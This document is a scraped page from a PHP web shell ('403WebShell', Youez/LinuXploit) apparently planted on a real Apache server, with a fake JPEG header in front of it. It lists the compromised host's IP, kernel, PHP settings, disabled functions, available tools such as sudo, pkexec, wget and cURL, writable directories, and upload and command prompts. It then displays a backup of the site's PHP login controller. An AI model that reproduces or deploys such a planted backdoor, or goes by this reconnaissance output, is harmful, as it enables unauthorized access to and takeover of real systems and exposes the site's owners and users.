����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 216.73.216.156
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/rockyo/controller/nppBackup/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/rockyo/controller/nppBackup/AuthController.php.2025-05-12_011716.bak
<?php

if (session_status() === PHP_SESSION_NONE) {
    session_start();
}

require_once(__DIR__ . '/../config/db.php');


$username = $_POST['username'];
$password = $_POST['password'];

$sql = "SELECT * FROM users WHERE username = ?";
$stmt = $pdo->prepare($sql);
$stmt->execute([$username]);
$user = $stmt->fetch();

if ($user && password_verify($password, $user['password'])) {
    if ($user['is_logged_in']) {
        echo json_encode(["error" => "Usuario ya tiene una sesión activa."]);
        exit;
    }

    // Marcar como logueado
    $update = $pdo->prepare("UPDATE users SET is_logged_in = 1 WHERE id = ?");
    $update->execute([$user['id']]);

    // Guardar sesión
    $_SESSION['user_id'] = $user['id'];
    $_SESSION['username'] = $user['username'];

    // Registrar IP
    $ip = $_SERVER['REMOTE_ADDR'];
    $log = $pdo->prepare("INSERT INTO login_sessions (user_id, ip_address) VALUES (?, ?)");
    $log->execute([$user['id'], $ip]);

    echo json_encode(["success" => true]);
} else {
    echo json_encode(["error" => "Credenciales inválidas."]);
}


Youez - 2016 - github.com/yon3zu
LinuXploit